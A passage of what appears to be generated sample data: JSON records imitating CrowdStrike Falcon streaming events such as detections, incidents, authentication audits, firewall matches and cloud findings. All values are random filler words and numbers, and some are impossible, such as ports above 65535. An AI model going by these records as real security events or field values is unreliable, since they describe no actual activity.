{"actor_cid": "yourstack","actor_user": "ouralbum","actor_user_uuid": "whatboard","app_id": "lightman","saml_assertion": "whichsnow","target_user": "manyegg","trace_id": "thatfashion"}}} +{"metadata": {"customerIDString": "Taiwanesestress","offset": -894626906,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "howquality","State": "open","FineScore": 9.422367116453389,"LateralMovement": 0,"IncidentType": 2,"IncidentID": "whereaddress","HostID": "fulllife","LMHostIDs": ["wheremustering"],"UserId": "allcackle"}} +{"metadata": {"customerIDString": "everybodymedicine","offset": -1102540758,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "thankfulstaff","PolicyId": -1512746364,"PolicyStatement": "whatflock","CloudProvider": "yourlove","CloudService": "thatphilosophy","Severity": 14,"SeverityName": "Informational","EventAction": "eachregiment","EventSource": "Romanenvy","EventCreatedTimestamp": 1663011160,"UserId": "herlitter","UserName": "whatpack","UserSourceIp": "60.82.204.252","Tactic": "thisgarlic","Technique": "fulltroop"}} +{"metadata": {"customerIDString": "someyouth","offset": -2033259274,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "fewleap","DetectName": "whatmilk","DetectDescription": "mob heat weight music class mustering place elegance boy lawn tribe whycinema","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/everythinggroup?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 29,"SeverityName": "Critical","Tactic": "quaintschool","Technique": "anyfire","Objective": "wheregrade","SourceAccountDomain": "thosebevy","SourceAccountName": "importantarmy","SourceAccountObjectSid": "whatwisp","SourceEndpointAccountObjectGuid": "doublefact","SourceEndpointAccountObjectSid": "someonedynasty","SourceEndpointHostName": "thankfulregiment","SourceEndpointIpAddress": "83.236.99.131","SourceEndpointSensorId": "hispaper","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "itsheap","PatternId": 401598498}} +{"metadata": {"customerIDString": "singlegroup","offset": 457189614,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "Atlanteanchair","UserIp": "90.7.226.232","OperationName": "twoFactorAuthenticate","ServiceName": "Crowdstrike Streaming API","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "Mexicangenetics","ValueString": "manycrowd"}],"Attributes": {"actor_cid": "everythingpage","actor_user": "Shakespeareanliter","actor_user_uuid": "someonenest","app_id": "enough ofbulb","saml_assertion": "Guyanesecongregation","target_user": "therespoon","trace_id": "whereparty"}}} +{"metadata": {"customerIDString": "thatchest","offset": -83040473,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "whichminute","Region": "us-west-2","ResourceId": "lemonycatalog","ResourceIdType": "whosesugar","ResourceName": "someboard","ResourceCreateTime": 0,"PolicyStatement": "hercalm","PolicyId": -1357156405,"Severity": 98,"SeverityName": "Critical","CloudPlatform": "upsetbelief","CloudService": "thesecard","Disposition": "Failed","ResourceUrl": "myboots","Finding": "sleepytransportation","Tags": [{"Key": "somegroup","ValueString": "Putinistarchipelago"}],"ReportUrl": "everyonelife","Timestamp": 1751371830}} +{"metadata": {"customerIDString": "Asianbook","offset": -1347483999,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "Vietnameseclass","DataDomains": "Network","Description": "cash case exaltation regiment number labour whosework","DetectId": "over theremob","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "40.219.117.254","HostNames": "thatsedge","Name": "lightwolf","PatternId": -698872318,"Severity": 50,"SourceProducts": "yourgroup","SourceVendors": "fewcollege","StartTimeEpoch": 1643317697728000000,"TacticIds": "hercompany","Tactics": "herparty","TechniqueIds": "hispacket","Techniques": "onegroup","XdrType": "xdr" } }} +{"metadata": {"customerIDString": "kindflock","offset": -302292875,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": 451077962,"ProcessEndTime": 1553265477,"ProcessId": -1077533325,"ParentProcessId": -435178253,"ComputerName": "whatsorrow","UserName": "enoughinvention","DetectName": "whoseparty","DetectDescription": "team bra ream beauty mustering stairs sedge pair troop magic Lincolnianenergy","Severity": 2,"SeverityName": "Informational","FileName": "disgustingtroop","FilePath": "nobodynest\\disgustingtroop","CommandLine": "C:\\Windows\\hercooker","SHA256String": "lightworld","MD5String": "anygroup","SHA1String": "wherepound","MachineDomain": "theremachine","NetworkAccesses": [{"AccessType": 1612708288,"AccessTimestamp": 1751371565,"Protocol": "heresedge","LocalAddress": "125.50.133.172","LocalPort": 48347,"RemoteAddress": "234.221.131.4","RemotePort": 67690,"ConnectionDirection": 0,"IsIPV6": true}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/theirday?_cid=xxxxxxx","SensorId": "severalsilence","IOCType": "command_line","IOCValue": "thatpart","DetectId": "Peruviannewspaper","LocalIP": "54.205.111.170","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "enthusiasticbrilliance","Technique": "angryeye","Objective": "lots ofdetermination","PatternDispositionDescription": "mob bevy choir team club over thereyouth","PatternDispositionValue": 1285889820,"PatternDispositionFlags": {"Indicator": true,"Detect": false,"InddetMask": false,"SensorOnly": false,"Rooting": false,"KillProcess": false,"KillSubProcess": false,"QuarantineMachine": false,"QuarantineFile": true,"PolicyDisabled": false,"KillParent": false,"OperationBlocked": false,"ProcessBlocked": false,"RegistryOperationBlocked": false,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": false,"FsOperationBlocked": true,"HandleOperationDowngraded": true,"KillActionFailed": false,"BlockingUnsupportedOrDisabled": false,"SuspendProcess": false,"SuspendParent": true},"ParentImageFileName": "thisstack","ParentCommandLine": "youngcompany","GrandparentImageFileName": "Japaneseparty","GrandparentCommandLine": "anyproduct","HostGroups": "whypart","AssociatedFile": "hereteam","PatternId": -659788280}} +{"metadata": {"customerIDString": "everyoneclass","offset": -213834920,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "thathorde","CustomerId": "itscat","Ipv": "103.246.185.64","CommandLine": "Malagasyhand","ConnectionDirection": "0","EventType": "FirewallRuleIP6Matched","Flags": {"Audit": false,"Log": true,"Monitor": false},"HostName": "eachfiction","ICMPCode": "yourstand","ICMPType": "Romaniancase","ImageFileName": "Koreanmicroscope","LocalAddress": "22.146.39.132","LocalPort": "67700","MatchCount": -508454298,"MatchCountSinceLastReport": -312004399,"NetworkProfile": "whichlife","PID": "-919470743","PolicyName": "thesecompany","PolicyID": "itpleasure","Protocol": "anyonebody","RemoteAddress": "94.122.29.16","RemotePort": "81503","RuleAction": "Kazakhsocks","RuleDescription": "class government number catalog bowl trust place sleep sorrow troop pod pound bitterness man orchard corruption innocence congregation number nest trip attractivephilosophy","RuleFamilyID": "sufficientwork","RuleGroupName": "whichteam","RuleName": "yourcandy","RuleId": "whatweather","Status": "notiming","Timestamp": 1751371830,"TreeID": "Indonesianhorde"}} +{"metadata": {"customerIDString": "Englishstack","offset": -775443396,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "Newtonianwaist","State": "open","FineScore": 3.177785166715833,"LateralMovement": 0,"IncidentType": 2,"IncidentID": "Germanmilk","HostID": "gracefulband","LMHostIDs": ["outstandingjuicer"],"UserId": "hereapartment"}} +{"metadata": {"customerIDString": "thosenose","offset": 1354823612,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "anytrip","UserIp": "236.153.26.40","OperationName": "selfAcceptEula","ServiceName": "Crowdstrike Streaming API","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "whosekilometer","ValueString": "yourhail"}],"Attributes": {"actor_cid": "realisticream","actor_user": "a littletravel","actor_user_uuid": "Congolesehail","app_id": "thoseplace","saml_assertion": "enviouspod","target_user": "tenseanimal","trace_id": "Bismarckianphysician"}}} +{"metadata": {"customerIDString": "theseheat","offset": 682319047,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "precioustax","State": "closed","FineScore": 1.5815182043193163,"LateralMovement": 0,"IncidentType": 1,"IncidentID": "whichblock","HostID": "kindmonth","LMHostIDs": ["yourdynasty"],"UserId": "gloriousbread"}} +{"metadata": {"customerIDString": "fullstaff","offset": -920849482,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "agreeablesafety","Highlights": ["whattrench coat"],"MatchedTimestamp": 1686889114000,"RuleId": "herplant","RuleName": "allforest","RuleTopic": "severalcovey","RulePriority": "oddkindness","ItemId": "whathouse","ItemType": "CS","ItemPostedTimestamp": 1686889114000}} +{"metadata": {"customerIDString": "theredress","offset": -1395234477,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "puzzledcar","IncidentDescription": "brilliance muster sand time person forest cousin choir magic bill problem hand gun world wad regiment scold aircraft life turkey happypleasure","Severity": 96,"SeverityName": "Low","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "Italiangrowth","UserName": "wittystreet","EndpointName": "whatcast","EndpointIp": "128.91.6.97","Category": "Detections","NumbersOfAlerts": 1245327959,"NumberOfCompromisedEntities": 111189281,"State": "IN_PROGRESS","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/anyway?_cid=xxxxxxx"}} +{"metadata": {"customerIDString": "whichstring","offset": -1230847851,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "Burkinesecash","Region": "us-west-2","ResourceId": "yourelegance","ResourceIdType": "greatbunch","ResourceName": "energeticchild","ResourceCreateTime": 0,"PolicyStatement": "anyball","PolicyId": 390863095,"Severity": 84,"SeverityName": "Informational","CloudPlatform": "comfortablestupidity","CloudService": "Russianpack","Disposition": "Passed","ResourceUrl": "itsfailure","Finding": "thatbale","Tags": [{"Key": "muddybaby","ValueString": "toomoonlight"}],"ReportUrl": "herecrest","Timestamp": 1751371830}} +{"metadata": {"customerIDString": "whatcard","offset": -365279171,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": 1651264407,"ProcessEndTime": 1505862329,"ProcessId": 1321630708,"ParentProcessId": 1017992042,"ComputerName": "theirears","UserName": "yourstreet","DetectName": "over therecompany","DetectDescription": "body cast riches man joy case article pain pair wisdom hand time horde holiday class everyonegroup","Severity": 5,"SeverityName": "High","FileName": "a little bitdriver","FilePath": "spottedrange\\a little bitdriver","CommandLine": "C:\\Windows\\yourfame","SHA256String": "nobodytroop","MD5String": "hugething","SHA1String": "Guyaneseman","MachineDomain": "everythingvilla","NetworkAccesses": [{"AccessType": -708407607,"AccessTimestamp": 1751371565,"Protocol": "whatchoir","LocalAddress": "219.20.115.119","LocalPort": 19584,"RemoteAddress": "0.153.174.27","RemotePort": 50301,"ConnectionDirection": 0,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/supergrowth?_cid=xxxxxxx","SensorId": "wheredog","IOCType": "registry_key","IOCValue": "anythingcackle","DetectId": "theirwoman","LocalIP": "16.136.203.173","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "everythingwalk","Technique": "hishost","Objective": "abundantstadium","PatternDispositionDescription": "pack cloud lips tail lack poverty team eye person problem spoon office guest party leap party quantity thatbread","PatternDispositionValue": -1079078772,"PatternDispositionFlags": {"Indicator": false,"Detect": false,"InddetMask": true,"SensorOnly": true,"Rooting": false,"KillProcess": false,"KillSubProcess": false,"QuarantineMachine": false,"QuarantineFile": true,"PolicyDisabled": true,"KillParent": false,"OperationBlocked": false,"ProcessBlocked": false,"RegistryOperationBlocked": false,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": false,"FsOperationBlocked": true,"HandleOperationDowngraded": false,"KillActionFailed": false,"BlockingUnsupportedOrDisabled": true,"SuspendProcess": false,"SuspendParent": true},"ParentImageFileName": "nervouskoala","ParentCommandLine": "itplace","GrandparentImageFileName": "herwall","GrandparentCommandLine": "annoyingalbum","HostGroups": "itblazer","AssociatedFile": "Welshmob","PatternId": -629830209}} +{"metadata": {"customerIDString": "Congolesecast","offset": -995742918,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "singleforest","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\whosewood","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Email","Description": "foot gold problem child chair part economics kangaroo point sand point engine thereherbs","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/thereelection?_cid=xxxxxxx","FileName": "sufficientwisp","FilePath": "thismarriage\\sufficientwisp","FilesAccessed": [{"FileName": "sufficientwisp","FilePath": "thismarriage\\sufficientwisp","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "sufficientwisp","FilePath": "thismarriage\\sufficientwisp","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\whatbasket","GrandParentImageFileName": "emptycase","GrandParentImageFilePath": "eachgroup\\emptycase","HostGroups": "gorgeousalbum","Hostname": "whyworld","LocalIP": "95.44.87.130","LocalIPv6": "239.244.185.158","LogonDomain": "wherelawyer","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "itsowl","Name": "lots ofsedge","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": -1089440136,"ConnectionDirection": 0,"IsIPV6": false,"LocalAddress": "244.38.205.206","LocalPort": 49082,"Protocol": "Burkinesehorse","RemoteAddress": "74.121.25.62","RemotePort": 10653}],"Objective": "anythinghat","ParentCommandLine": "C:\\Windows\\strangefilm\\Kazakhchoir","ParentImageFileName": "Kazakhchoir","ParentImageFilePath": "somebodyfiction\\Kazakhchoir","ParentProcessId": -434386359,"PatternDispositionDescription": "fact caravan crowd class year heart religion book jaw wad staff week hand Tibetanuncle","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": false,"BootupSafeguardEnabled": false,"ContainmentFileSystem": false,"CriticalProcessDisabled": false,"Detect": true,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"InddetMask": false,"Indicator": true,"KillActionFailed": true,"KillParent": true,"KillProcess": true,"KillSubProcess": false,"OperationBlocked": true,"PolicyDisabled": true,"ProcessBlocked": true,"QuarantineFile": true,"QuarantineMachine": false,"RegistryOperationBlocked": false,"Rooting": true,"SensorOnly": true,"SuspendParent": true,"SuspendProcess": true},"PatternDispositionValue": -803513788,"PatternId": -387791910,"PlatformId": "myfrailty","PlatformName": "Windows","ProcessEndTime": 449528859,"ProcessId": 110124735,"ProcessStartTime": -1407753202,"ReferrerUrl": "Honduranconfusion","SHA1String": "whichcompany","SHA256String": "thatregiment","Severity": 99,"SeverityName": "Critical","SourceProducts": "lazychild","SourceVendors": "muchhorror","Tactic": "uptightwoman","Technique": "heresedge","Type": "ldt","UserName": "ashamedthrill"}} +{"metadata": {"customerIDString": "difficultvalley","offset": 2101272754,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "severalpool","CustomerId": "hisgang","Ipv": "189.147.225.84","CommandLine": "blackocean","ConnectionDirection": "2","EventType": "FirewallRuleApplicationFailed","Flags": {"Audit": true,"Log": false,"Monitor": true},"HostName": "Aristotelianmob","ICMPCode": "hereworld","ICMPType": "allmob","ImageFileName": "allbale","LocalAddress": "13.4.44.115","LocalPort": "25613","MatchCount": -1598198376,"MatchCountSinceLastReport": 641894820,"NetworkProfile": "unusualgrapes","PID": "223516280","PolicyName": "somepig","PolicyID": "yourgrandmother","Protocol": "somecluster","RemoteAddress": "251.233.178.116","RemotePort": "1144","RuleAction": "halfcontent","RuleDescription": "vase physician troupe point anthology truck time garage kettle thrill luck book company paper week tolerance everybodywater","RuleFamilyID": "whosekangaroo","RuleGroupName": "Romanchild","RuleName": "substantialmagic","RuleId": "Sammarineseeye","Status": "therethought","Timestamp": 1751371830,"TreeID": "somebodyschool"}} +{"metadata": {"customerIDString": "onefoot","offset": 1731062168,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "herecalm","CustomerId": "whosereligion","Ipv": "128.116.89.207","CommandLine": "everyonedivorce","ConnectionDirection": "2","EventType": "FirewallRuleIP4Matched","Flags": {"Audit": false,"Log": false,"Monitor": false},"HostName": "itslemon","ICMPCode": "anybundle","ICMPType": "manylung","ImageFileName": "littlerabbit","LocalAddress": "252.110.60.206","LocalPort": "37774","MatchCount": 899007412,"MatchCountSinceLastReport": -1204268395,"NetworkProfile": "Koreanway","PID": "744586950","PolicyName": "nonesugar","PolicyID": "Victorianfox","Protocol": "uptightscold","RemoteAddress": "79.225.9.41","RemotePort": "88811","RuleAction": "howman","RuleDescription": "clarity mustering task engine posse stack gas station congregation stairs covey woman host range galaxy gang army thing yourrestaurant","RuleFamilyID": "uglywork","RuleGroupName": "repellingteam","RuleName": "a little bitleap","RuleId": "fewgeneration","Status": "wholeslavery","Timestamp": 1751371830,"TreeID": "finecaravan"}} +{"metadata": {"customerIDString": "thoughtfulcompany","offset": -1919265590,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "theirdolphin","UserID": "Finnishregiment","ExecutionID": "Laotiancast","ReportID": "theirbread","ReportName": "over thereart","ReportType": "thatengine","ReportFileReference": "Frenchhorse","Status": "itday","StatusMessage": "whosesedge","ExecutionMetadata": {"ExecutionStart": -916885740,"ExecutionDuration": 1326168034,"ReportFileName": "hisglasses","ResultCount": 864471789,"ResultID": "Middle Easternrhythm","SearchWindowStart": 2133009784,"SearchWindowEnd": 1995106451}}} +{"metadata": {"customerIDString": "whatclump","offset": 1831488623,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "whytown","Region": "us-east-1","ResourceId": "yourholiday","ResourceIdType": "herewelfare","ResourceName": "histroupe","ResourceCreateTime": 0,"PolicyStatement": "thistruth","PolicyId": -1908197964,"Severity": 14,"SeverityName": "Informational","CloudPlatform": "thankfulwit","CloudService": "yourcompany","Disposition": "Failed","ResourceUrl": "crowdedpouch","Finding": "whosequiver","Tags": [{"Key": "a little bitbottle","ValueString": "itswoman"}],"ReportUrl": "whatcomb","Timestamp": 1751371830}} +{"metadata": {"customerIDString": "everynap","offset": 757485648,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "redlighter","DataDomains": "Cloud","Description": "shower enoughbrass","DetectId": "grievingtroupe","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "176.232.137.88","HostNames": "manyposse","Name": "eachperson","PatternId": 127645950,"Severity": 42,"SourceProducts": "dizzyingartist","SourceVendors": "somebodychoir","StartTimeEpoch": 1643317697728000000,"TacticIds": "eithergame","Tactics": "Egyptianvillage","TechniqueIds": "fewline","Techniques": "herharvest","XdrType": "xdr" } }} +{"metadata": {"customerIDString": "yourson","offset": -1475686550,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "Burkinesegold","UserIp": "82.104.176.236","OperationName": "updateUser","ServiceName": "detections","AuditKeyValues": [{"Key": "realistickindness","ValueString": "emptybatch"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "littlenurse"}}} +{"metadata": {"customerIDString": "confusingbunch","offset": 434583498,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "carefultent","UserIp": "104.15.74.170","OperationName": "userAuthenticate","ServiceName": "Crowdstrike Streaming API","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "sufficientpatrol","ValueString": "everybodydoor"}],"Attributes": {"actor_cid": "allwisp","actor_user": "homelessfreedom","actor_user_uuid": "clumsycase","app_id": "hundredsstairs","saml_assertion": "anythingstand","target_user": "lots ofdoor","trace_id": "allsedge"}}} +{"metadata": {"customerIDString": "myhair","offset": -1648174413,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "whypronunciation","State": "closed","FineScore": 5.177857128490845,"LateralMovement": 1,"IncidentType": 1,"IncidentID": "theirsedge","HostID": "thisball","LMHostIDs": ["Californianleap"],"UserId": "halfgold"}} +{"metadata": {"customerIDString": "wherefact","offset": -720865589,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "hereexaltation","MobileDetectionId": -1982062954,"ComputerName": "whichgroup","UserName": "whateye","ContextTimeStamp": 1649061056,"DetectId": "theircorruption","DetectName": "howbale","DetectDescription": "sedge mirror television kilometer range a littlebed","Tactic": "Newtonianshopping","TacticId": "thesesnow","Technique": "itmile","TechniqueId": "whatscold","Objective": "whyclass","Severity": 8,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/somefork?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "ourperson","AndroidAppLabel": "whyman","DexFileHashes": "Guyanesecompany","ImageFileName": "thisshower","AppInstallerInformation": "whoseguest","IsBeingDebugged": true,"AndroidAppVersionName": "anyonestand","IsContainerized": false}]}} +{"metadata": {"customerIDString": "howbakery","offset": 1483297595,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "somemonkey","UserIp": "87.98.211.64","OperationName": "confirmResetPassword","ServiceName": "Crowdstrike Streaming API","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "thereluck","ValueString": "abundantdynasty"}],"Attributes": {"actor_cid": "herecollection","actor_user": "whosemotherhood","actor_user_uuid": "a littlewhale","app_id": "Mayanarmy","saml_assertion": "cuteparty","target_user": "itsleap","trace_id": "redpoint"}}} +{"metadata": {"customerIDString": "Romanclump","offset": -2038715325,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "helpfulchurch","HostnameField": "wherebundle","UserName": "yourpigeon","StartTimestamp": 1582830734,"AgentIdString": "franticyoga"}} +{"metadata": {"customerIDString": "myring","offset": 1367700305,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "fewtable","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\everyoneeducation","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Network","Description": "team failure library set wit air allcloud","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/therehail?_cid=xxxxxxx","FileName": "wherebrilliance","FilePath": "manywildlife\\wherebrilliance","FilesAccessed": [{"FileName": "wherebrilliance","FilePath": "manywildlife\\wherebrilliance","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "wherebrilliance","FilePath": "manywildlife\\wherebrilliance","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\wholeyear","GrandParentImageFileName": "wherepasta","GrandParentImageFilePath": "thereapartment\\wherepasta","HostGroups": "yournest","Hostname": "herbale","LocalIP": "12.115.224.47","LocalIPv6": "177.2.110.77","LogonDomain": "hisgain","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "nobodypoverty","Name": "whatbrace","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": -280407180,"ConnectionDirection": 2,"IsIPV6": true,"LocalAddress": "225.204.92.130","LocalPort": 39481,"Protocol": "plaintea","RemoteAddress": "149.103.11.179","RemotePort": 80181}],"Objective": "thiskindness","ParentCommandLine": "C:\\Windows\\hereharm\\theircast","ParentImageFileName": "theircast","ParentImageFilePath": "relievedharvest\\theircast","ParentProcessId": 950210920,"PatternDispositionDescription": "litter life exaltation clump world bravery archipelago help dynasty staff importance anthology fan team calm information herbs stress woman wherenest","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": true,"BootupSafeguardEnabled": true,"ContainmentFileSystem": false,"CriticalProcessDisabled": true,"Detect": false,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"InddetMask": false,"Indicator": false,"KillActionFailed": true,"KillParent": true,"KillProcess": true,"KillSubProcess": false,"OperationBlocked": false,"PolicyDisabled": false,"ProcessBlocked": true,"QuarantineFile": false,"QuarantineMachine": true,"RegistryOperationBlocked": false,"Rooting": false,"SensorOnly": true,"SuspendParent": true,"SuspendProcess": false},"PatternDispositionValue": 931409291,"PatternId": -1833169404,"PlatformId": "Icelandictroupe","PlatformName": "Mac","ProcessEndTime": 508081790,"ProcessId": -1609210457,"ProcessStartTime": -825204379,"ReferrerUrl": "over therecluster","SHA1String": "everybodyexaltation","SHA256String": "uptightstand","Severity": 50,"SeverityName": "Informational","SourceProducts": "nonepacket","SourceVendors": "halfbrace","Tactic": "anythinghost","Technique": "whyclass","Type": "ldt","UserName": "friendlygift"}} +{"metadata": {"customerIDString": "herework","offset": -219552527,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "everybodysoftware","UserID": "fulleye","ExecutionID": "thispatience","ReportID": "variedharvest","ReportName": "hisday","ReportType": "noneweekend","ReportFileReference": "itregiment","Status": "unusualweather","StatusMessage": "anyroom (space)","ExecutionMetadata": {"ExecutionStart": -1617323351,"ExecutionDuration": 978610360,"ReportFileName": "whatbook","ResultCount": 647481392,"ResultID": "gloriousmurder","SearchWindowStart": -877577983,"SearchWindowEnd": -1319125118}}} +{"metadata": {"customerIDString": "Middle Easternblouse","offset": -516793127,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "cleverenthusiasm","MobileDetectionId": -340747654,"ComputerName": "Peruvianfilm","UserName": "hugealbum","ContextTimeStamp": 1649061056,"DetectId": "thisair","DetectName": "muchworld","DetectDescription": "publicity time brace company cast money Indianplane","Tactic": "shybattery","TacticId": "difficultjustice","Technique": "Gabonesebouquet","TechniqueId": "Turkishjourney","Objective": "sparsethought","Severity": 86,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/theirtroupe?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "howgold","AndroidAppLabel": "wholeheap","DexFileHashes": "nobodyhappiness","ImageFileName": "itcloud","AppInstallerInformation": "enoughleisure","IsBeingDebugged": false,"AndroidAppVersionName": "thoseworld","IsContainerized": true}]}} +{"metadata": {"customerIDString": "whosecoldness","offset": 1081896456,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "shybatch","IncidentDescription": "loneliness marriage trip stupidity class party flock loneliness lots ofadvice","Severity": 92,"SeverityName": "Informational","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "severalclass","UserName": "whosecovey","EndpointName": "theirfilm","EndpointIp": "158.195.125.230","Category": "Incidents","NumbersOfAlerts": 585727349,"NumberOfCompromisedEntities": 1623353958,"State": "NEW","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/thatcluster?_cid=xxxxxxx"}} +{"metadata": {"customerIDString": "Kazakhriver","offset": 334368122,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "famousdetermination","IncidentDescription": "heavyflock","Severity": 40,"SeverityName": "Medium","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "herfruit","UserName": "onemuster","EndpointName": "Torontonianbrilliance","EndpointIp": "189.200.117.145","Category": "Incidents","NumbersOfAlerts": -437866633,"NumberOfCompromisedEntities": 742066646,"State": "DISMISS","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Greekwisp?_cid=xxxxxxx"}} +{"metadata": {"customerIDString": "anyoneline","offset": -72770039,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "eachcarpet","UserIp": "138.18.252.207","OperationName": "selfAcceptEula","ServiceName": "Crowdstrike Streaming API","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "everyonehost","ValueString": "hisgold"}],"Attributes": {"actor_cid": "Sri-Lankanmilk","actor_user": "thisgrandmother","actor_user_uuid": "oddbrace","app_id": "Gaussianarmy","saml_assertion": "whosefailure","target_user": "thereturkey","trace_id": "someonedivorce"}}} +{"metadata": {"customerIDString": "emptylove","offset": 894515716,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "singlereel","Region": "us-west-1","ResourceId": "whichproblem","ResourceIdType": "Confuciantrain station","ResourceName": "helpfulgroup","ResourceCreateTime": 0,"PolicyStatement": "howteam","PolicyId": -509093213,"Severity": 63,"SeverityName": "Medium","CloudPlatform": "Madagascanpoint","CloudService": "Taiwanesehand","Disposition": "Failed","ResourceUrl": "whyyear","Finding": "whereoil","Tags": [{"Key": "whatchild","ValueString": "tiredpair"}],"ReportUrl": 